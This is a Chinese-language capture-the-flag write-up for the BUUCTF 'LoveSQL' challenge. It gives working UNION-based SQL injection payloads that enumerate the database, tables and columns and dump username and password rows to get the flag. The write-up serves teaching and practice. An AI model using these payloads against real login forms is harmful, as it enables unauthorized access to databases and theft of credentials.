【BUUCTF】[极客大挑战-2019]LoveSQL
[TOC]
今天下午做的是[极客大挑战 2019]LoveSQL,这道题让我详细了解了SQL注入的步骤一及解决办法。
首先打开界面是:
然后对其进行数字还是字符型注入进行判断,得到
单引号引起报错
双引号不报错
接下来就是按sql注入的流程操作:
1.测试有多少字段
测试每个字段对应的内容
2.爆出数据库名
3.爆出数据库里的表
4.爆出表的列名
5.爆出所有数据
测试有多少个字段:
使用order by检测:
测试到3没有引起报错,说明字段数目为三
测试当前数据库名:
使用联合查询,结合得到的3个字段数,构造payload:
?username=1' union select null,null,(select database())%23&password=2 |
所以数据库名为 geek。
cha’biao’mi’g
查表名:
构造payload:
?username=1' union select null,null,(select group_concat(table_name) from information_schema.tables where table_schema='geek')%23&password=2 |
得到表名为:geekuser,l0ve1ysq1
查列名:
先查询geekuser: id username password
?username=1' union select null,null,( select group_concat( column_name ) from information_schema.columns where table_name='geekuser')%23&password=2 |
再查询 l0ve1ysq1: id,username,password
?username=1' union select null,null,( select group_concat( column_name ) from information_schema.columns where table_name='l0ve1ysq1')%23&password=2 |
查数据:
geekuser:
?username=1' union select null,null,group_concat(id,0x3a,username,0x3a,password) from geek.geekuser%23&password=2 |
l0ve1ysq1:
Your password is ‘1:cl4y:wo_tai_nan_le,2:glzjin:glzjin_wants_a_girlfriend,3:Z4cHAr7zCr:biao_ge_dddd_hm,4:0xC4m3l:linux_chuang_shi_ren,5:Ayrain:a_rua_rain,6:Akko:yan_shi_fu_de_mao_bo_he,7:fouc5:cl4y,8:fouc5:di_2_kuai_fu_ji,9:fouc5:di_3_kuai_fu_ji,10:fouc5:di_4_kuai_fu_ji,11:fouc5:di_5_kuai_fu_ji,12:fouc5:di_6_kuai_fu_ji,13:fouc5:di_7_kuai_fu_ji,14:fouc5:di_8_kuai_fu_ji,15:leixiao:Syc_san_da_hacker,16:flag:flag{4c72673a-930a-4ea0-949f-3109ee061cd8}’
?username=1' union select null,null,group_concat(id,0x3a,username,0x3a,password) from geek.l0ve1ysq1%23&password=2 |
在这个表中直接找到了flag.
总结:
sql注入的流程操作:
1.测试有多少字段
测试每个字段对应的内容
2.爆出数据库名
3.爆出数据库里的表
4.爆出表的列名
5.爆出所有数据